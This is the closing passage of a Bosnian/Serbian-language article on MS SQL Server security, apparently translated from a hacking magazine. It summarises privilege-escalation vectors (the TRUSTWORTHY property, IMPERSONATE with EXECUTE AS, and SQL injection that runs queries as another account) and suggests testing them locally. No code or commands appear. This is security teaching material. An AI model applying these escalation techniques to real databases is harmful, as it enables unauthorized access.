Razlika u svim ovim vektorima je veoma značajna. U nekim slučajevima, da biste postigli cilj, možete se ograničiti na uključeno svojstvo TRUSTWORTHY, koje omogućava objektima izvan baze podataka da koriste resurse ove baze podataka kako bi kreirali i izvršili pohranjenu proceduru koja podiže privilegije. Negdje je moguće izvršavati pohranjene procedure u ime drugih naloga zbog prisutnosti privilegija IMPERSONATE i funkcije EXECUTE AS, au trećim slučajevima je važno samo imati SQL injekciju preko koje se može ubaciti upit, a to je će se izvršiti u ime drugog računa. Za potpuno razumijevanje nijansi i suptilnosti, savjetovao bih vam da provjerite ove vektore na vašoj lokalnoj mašini.

Članak ne daje iscrpan prikaz svih vektora napada na MS SQL DBMS, ali će biti vrlo koristan za površnu analizu sigurnosti. Takođe preporučujem da se upoznate sa drugim vektorom hakovanja putem DB veza, koji je opisao Alexey Tyurin u decembarskom izdanju ][ (#191) u odjeljku Easy Hack. To je sve, hvala na pažnji i vidimo se ponovo.



Učitavanje...
Top